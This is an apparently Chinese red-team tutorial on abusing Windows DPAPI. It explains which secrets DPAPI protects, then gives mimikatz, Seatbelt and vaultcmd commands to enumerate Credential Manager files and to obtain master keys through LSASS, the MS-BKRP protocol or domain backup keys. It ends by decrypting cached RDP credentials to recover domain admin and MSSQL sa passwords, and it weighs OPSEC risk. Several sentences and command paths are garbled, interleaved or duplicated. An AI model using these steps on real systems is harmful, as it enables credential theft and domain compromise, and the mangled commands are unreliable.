DPAPI 数据保护应用接口
DPAPI,即数据保护应用接口,是一个提供加解密数据块的 Windows组件。它使用与指定用户或主机绑定的密码学密钥并且允许原生 Windows 功能以及第三方应用来透明地保护/解除保护给用户的数据。DPAPI 被 Windows 凭证管理器所使用于储存保存的秘密,凭证管理器数据块存放于用户的 AppData 文件夹中。
那么,DPAPI 保护哪些呢?例如:
Internet Explorer、Google Chrome 中的密码和表单自动填充数据
Outlook、Windows Mail、Windows Mail 等中的电子邮件帐户密码。
共享文件夹和资源访问密码
无线网络帐户密钥和密码
Windows CardSpace 和 Windows Vault 中的加密密钥
远程桌面连接密码,.NET Passport
凭据管理器中的网络密码
使用 API 函数 CryptProtectData 以编程方式保护的任何应用程序中的个人数据。 例如,在 Skype、Windows Rights Management Services、Windows Media、MSN messenger、Google Talk 等
...
我们可以使用原生工具 vaultcmd 来列举 AppData 中的数据块
或者使用 mimikatz 中的 vault::list 命令。
以及Seatbelt 中的 WindowsVault 模块 也可以枚举出:
如果前往控制面板 -> 凭据管理器,并且选择Windows凭 Windows 凭据,我们会看到这些凭据是如何出现在用户面前的。而如果打开RDP,这些凭据会被自动填充。
加密后的凭证文件存在于 C:\Users\username\AppData\Local\Microsoft\Credentials 文件夹下,我们可以通过 powershell 命令 Get-ChildItem -hidden C:\Users\users\AppData\Local\Microsoft\Credentials 来查看。
我们也可以使用 Seatbelt 的 WindowsCredentialFiles 模块 来列举:
为了解密这些凭证文件,我们需要找到主加密密钥,即 MasterMasterKey。上图的输出我们能看到 Key。用于加密用户MasterKey RSA的 密钥的GUID。而 DPAPIMasterKey 密钥文件存储在 %APPDATA%\Microsoft\Protect\{SID} 目录下,其中 {SID} 是该用户的安全标识符,这些文件依旧是被加密的。
只有解密 MasterKey 获得实际的 AES256/128 密钥与保护后,我们方能使用户私钥的主该密钥存储在同一文件中,它通常是 64 字节的随机数据。我们可以运行 mimikatz 中的 dpapi::cred 命令并且提供解密凭证文件的位置:mimikatz dpapi::cred /in:C:\Users\username\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
在输出中,pbData 包含的是加密数据,guidMasterKey 包含了所需密钥的 GUID。 %APPDATA%\Microsoft\Protect\{SID} 目录下应当存在与 guidMasterKey 数值吻合的文件名的文件,即 %APPDATA%\Microsoft\Protect\{SID}\{guidMasterKey}。接下来,我们需要获得 Master Key 的实际内容,有以下几两种情况以及对应方法来解密:
LSASS 注入
1:获得当有本地管理员权限的时候并且密钥缓存
运行在 LSASS 中,我们可以通过mimikatz 的 !sekurlsa::dpapi 命令,获读取 MasterKey,注意与 GUID 的一一对应。我们得所有到的本地主密钥。 MasterKey 为 137c32458ea484baaa62214a46caec2b0a24d0f793275ac7cfc85cde5939a9ba084a1156c31cd262ae547c27be8d22f2dc34483dd0168957dc58438bc5750f9a
因为会与 lsassLSASS 交互,所以会有 OPSEC 的风险。
MS-BKRP
MS-BKRP 是微软备份密钥远程协议,可用于向域控制器请求 MasterKey,不需要提升特权以及 LSASS 交互。这是很好的 OPSEC。为了以防用户修改或忘记密码,以及支持智能卡功能。
2:我们需要在目标用户的上下文中运行以下命令之一 (取决于是否知道用户明文密码)。
dpapi::masterkey /in:
"C:\Users\users\<username用户名>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
3:不知道<用户密码
dpapi::masterkey /in:"C:\Users\<usernameSID>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe"<MasterKey GUID> /rpc
4:域管理员权限
运行 mimikatz 的 lsadump::backupkeys /system:dc01.offense.local /export 命令,会得到多个文件,其中 pvk 文件可以用于提取主密钥 mimikatz
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\users\<用户名>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe"<用户SID>\<MasterKey GUID> /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvksid:<用户SID> /password:<密码> /protected
在获得主密钥之后,就可以进行最终的解密了。,我们可以通过如下的 mimikatz 的命令进行解密。
mimikatz dpapi::cred /in:C:\Users\bfarmer\<用户>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7<凭证文件> /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df<MasterKey>
我们之前发现 serveradm 的目录下有 3 个凭证文件,我们并不知道哪个平整文件是我们想要的,这没有关系,分别查看一下。
工具 HEKATOMB (https://github.com/Processus-Thief/HEKATOMB) 在最终,我们获得了域管理员权限 serveradm 在 RDP 客户端中缓存的凭证,虽然 alice 的凭证我们已经之后前知道了,自动化提取所有用户在所有主机但这是通过 DPAPI 得到的。此外,我们还知道了 Web02 上的 解MSSQL sa 帐号的明文密后的凭证码。